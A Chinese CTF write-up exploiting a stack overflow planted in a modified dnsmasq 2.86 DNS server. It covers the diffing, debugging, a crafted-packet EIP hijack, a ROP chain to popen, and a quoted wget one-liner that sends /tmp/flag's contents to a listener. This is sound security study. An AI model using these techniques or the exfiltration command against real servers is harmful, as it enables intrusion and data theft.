Master of DNS 复现
提示:题目参考代码: https://thekelleys.org.uk/dnsmasq/doc.html
1 | dns: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=bfc562d299a85ac0c0be7037b9436f0a9500d2c4, for GNU/Linux 3.2.0, stripped |
- 32位,dynamically,开了 NX,Full RELRO
1 | port=9999 |
- 没有遇见过的东西,先学习相关知识
域名
域名又称网域,是由一串用点分隔的名字组成的 Internet 上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(由于 IP 地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点,人们设计出了域名)
域名具有一定的层次结构,从上到下依次为:根域名, 顶级域名(top level domain,TLD), 二级域名,(三级域名)
理论上,所有域名的查询都必须先查询根域名,因为只有根域名才能告诉你,某个顶级域名由哪台服务器管理,事实上也确实如此,ICANN 维护着一张列表(根域名列表),里面记载着顶级域名和对应的托管商
域名服务器
域名服务器是指 管理域名的主机和相应的软件 ,它可以管理所在分层的域的相关信息,一个域名服务器所负责管里的分层叫作 区 (ZONE),域名的每层都设有一个域名服务器:
- 根域名服务器
- 保存 DNS 根区文件(ICANN 维护的根域名列表)的服务器,就叫做 DNS 根域名服务器(root name server),根域名服务器 保存所有的顶级域名服务器的地址
- 一般来说所有的域名服务器都会注册一份根域名服务器的 IP 地址的缓存,用于在必要的时候向其发送请求
- 顶级域名服务器
- 顶级域名服务器显然就是用来 管理注册在该顶级域名下的所有二级域名 的,记录这些二级域名的 IP 地址
- 权限域名服务器
- 三/四级域名数量很多,我们需要使用 划分区 的办法来解决这个问题,权限域名服务器 就是负责管理一个“区” 的域名服务器
- 本地域名服务器(不在 DNS 层次结构之中)
- 本地域名服务器(也被称为权威域名服务器),本地域名服务器是 电脑解析时的默认域名服务器,即电脑中设置的首选 DNS 服务器和备选 DNS 服务器,常见的有电信、联通、谷歌、阿里等的本地 DNS 服务
DNS 协议
通过域名解析协议(DNS,Domain Name System)来将域名和 IP 地址相互映射,使人更方便地访问互联网,而不用去记住能够被机器直接读取的 IP 地址数串
- 正向解析:将域名映射成 IP 地址
- 反向解析:将 IP 地址映射成域名
DNS 协议可以使用 UDP 或者 TCP 进行传输,使用的端口号都为 53(但大多数情况下 DNS 都使用 UDP 进行传输)
具体 DNS 查询的方式有两种:
- 迭代查询
- 如果请求的接收者不知道所请求的内容,那么 接收者将告诉请求者如何去获得这个内容,请求者自己再去查询
- 递归查询
- 如果请求的接收者不知道所请求的内容,那么 接收者将扮演请求者,发出有关请求,直到获得所需要的内容,然后将内容返回给最初的请求者
DNS 数据包结构
总体结构:
- DNS 请求包和响应包格式相同(只有 Flag 不一样)
基础结构部分:(Header)
- 事务 ID:DNS 报文的 ID 标识。对于请求报文和其对应的应答报文,该字段的值是相同的。通过它可以区分 DNS 应答报文是对哪个请求进行响应的
- 标志:DNS 报文中的标志字段
- 问题计数:DNS 查询请求的数目
- 回答资源记录数:DNS 响应的数目
- 权威名称服务器计数:权威名称服务器的数目
- 附加资源记录数:额外的记录数目(权威名称服务器对应 IP 地址的数目)
问题部分:
- 查询名:一般为要查询的域名,有时也会是 IP 地址,用于反向查询
- 查询类型:DNS 查询请求的资源类型。通常查询类型为 A 类型,表示由域名获取对应的 IP 地址
- 查询类:地址类型,通常为互联网地址,值为 1
资源记录部分:
- 域名:DNS 请求的域名
- 类型:资源记录的类型,与问题部分中的查询类型值是一样的
- 类:地址类型,与问题部分中的查询类值是一样的
- 生存时间:以秒为单位,表示资源记录的生命周期,一般用于当地址解析程序取出资源记录后决定保存及使用缓存数据的时间,它同时也可以表明该资源记录的稳定程度,稳定的信息会被分配一个很大的值
- 资源数据长度:资源数据的长度
- 资源数据:表示按查询段要求返回的相关资源记录的数据
PS:其实不用太了解每个部分的功能,只要一模一样就可以了
DNS请求:
DNS响应:
这里只需要注意 Flag,分清楚 DNS请求/DNS响应
就好
参考:
完整域名解析过程
正向解析:
- 首先搜索 浏览器的 DNS 缓存,缓存中维护一张域名与 IP 地址的对应表
- 若没有命中,则继续搜索 操作系统的 DNS 缓存
- 若仍然没有命中,则操作系统将域名发送至 本地域名服务器,本地域名服务器查询自己的 DNS 缓存,查找成功则返回结果(主机和本地域名服务器之间的查询方式是递归查询)
- 若本地域名服务器的 DNS 缓存没有命中,则本地域名服务器向上级域名服务器进行查询,通过以下方式进行迭代查询:
- 首先本地域名服务器向 根域名服务器 发起请求,根域名服务器是最高层次的,它并不会直接指明这个域名对应的 IP 地址,而是返回顶级域名服务器的地址
- 本地域名服务器拿到这个 顶级域名服务器 的地址后,就向其发起请求,获取 权限域名服务器 的地址
- 本地域名服务器根据权限域名服务器的地址向其发起请求,最终得到该域名对应的 IP 地址
- 本地域名服务器将得到的 IP 地址返回给操作系统,同时自己将 IP 地址缓存起来
- 操作系统将 IP 地址返回给浏览器,同时自己也将 IP 地址缓存起来
- 至此,浏览器就得到了域名对应的 IP 地址,并将 IP 地址缓存起来
调试准备
首先常规的 GDB 调试是不起作用的
1 | pwndbg> b*0x804F444 |
因为该程序是运行在端口上的,所以尝试 GDB attach,这里有几个小坑需要注意:
- 原来
start.sh
中设置的所有者为 nobody,必须手动启动程序来保证所有者为自己:
1 | ./dns -C ./dns.conf 2>/dev/null |
- 注意以下报错:
1 | pwndbg: created $rebase, $ida gdb functions (can be used with print/break) |
入侵思路
先试试在 README 里面的测试样例:
输入:
1 | ➜ Master of DNS sudo ./start.sh |
输出:
1 | ➜ Master of DNS dig @127.0.0.1 -p 9999 baidu.com |
- 题目文件应该是一个小型的 DNS 解析器,在端口 9999 上
对于这种代码量较大的非原创程序,要么考虑出题人魔改源码,要么在网上找找这个程序的 cve,所以先尝试寻找程序的源码,然后用对比软件进行分析
在提示中已经给出源码地址了,但是不知道版本,一般就在 IDA 中搜索 “version”,看看能不能发现版本号
1 | printf("Dns version %s\n", "2.86"); |
- 逆向分析,发现版本号为 2.86,所以直接去官网上下载源码,进行编译(32位)
1 | wget https://thekelleys.org.uk/dnsmasq/dnsmasq-2.86.tar.gz |
- 使用 BinDiff 进行对比(BinDiff安装使用教程)
- 发现相似度高达 99%,那么可能是出题人魔改了源码(当然也不排除是 libc 版本的原因),把相似度不是 100% 的几个函数都分析一下:(libc 库函数除外)
- sub_804F345 VS extract_name:
- 最后在 IDA 中进行确认,发现多了个
memcpy(dest, src, n)
:
1 | .text:0804F432 loc_804F432: ; CODE XREF: sub_804F345+E3↑j |
这个 memcpy(dest, src, n)
可能引发栈溢出,所以在 0x804F444
打断点进行调试
1 | ► 0x804f444 call memcpy@plt <memcpy@plt> |
1 | pwndbg> telescope 0xffb9c700 |
1 | 00:0000│ esp 0xffb9ca8c —▸ 0x80517ae ◂— add esp, 0x20 |
理论上是可以覆盖 ret 的,先计算偏移:
1 | pwndbg> distance 0xffb9ca8c 0xffb9c707 |
尝试用 dig 发送数据:
1 | ➜ Master of DNS dig @127.0.0.1 -p 9999 baiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiidu.com |
- 尝试发送较长域名发现,dig 直接会提示过长无法发送,要求域名中每个段标签(两个点之间的字符串)长度不能超过 63 字节
- 并且总长度不能超过 255 字节
尝试用 pwntools 手工构造:
- 先进行抓包,看看 DNS 请求数据包的结构
- 收集数据如下:
1 | 0000 b2 b6 01 20 00 01 00 00 00 00 00 01 05 62 61 69 ... .........bai |
- 基础结构部分:
b2 b6 01 20 00 01 00 00 00 00 00 01
- 问题部分:(域名+Type+Class)
- 域名:
05 baidu 03 com 00
- Type:
00 01
- Class:
00 01
- 域名:
利用这些信息我们可以对 Header 进行伪造:
1 | from pwn import * |
1 | 0x804f449 add esp, 0x10 |
- 已经劫持 EIP 了
在写 ROP 链之前,我们先考虑怎么拿到 flag:
- 首先肯定不能直接执行 system(“/bin/sh”) 或者 one_gadget
- 尝试用 StarCTF2022 ping 中的方法把 flag 写入 DNS 的回显信息
- 尝试用 SCTF ChristmasWishes 中的方法使用反弹 shell
具体实现后发现:
- 把 flag 写入 DNS 的回显信息可能不现实:GDB 中 search 不到 flag 的地址
- 反弹 shell 可能也行不通:程序中没有 system,好像也不能泄露 libc
网上有个大佬采用 wget 来下载 flag:
1 | ➜ 桌面 wget http://127.0.0.1:6789/ `cat /tmp/flag` |
- 报错了,可能是本机上的环境不匹配
程序没有 system 但是有 popen,大佬利用了如下的 ROP:
1 | # 0x08059d44 : pop eax ; ret |
- 我也想写一个 ROP,但是没有合适的 gadget,感觉就是大佬的这个最好用
结果:
1 | ► 0x8071804 call popen@plt <popen@plt> |
1 | ni |
- 已经可以看见 popen 生成的进程了
完整 exp:
1 | from pwn import * |
小结:
可能是因为环境的问题,我没法拿到 flag,但 popen 应该是成功执行了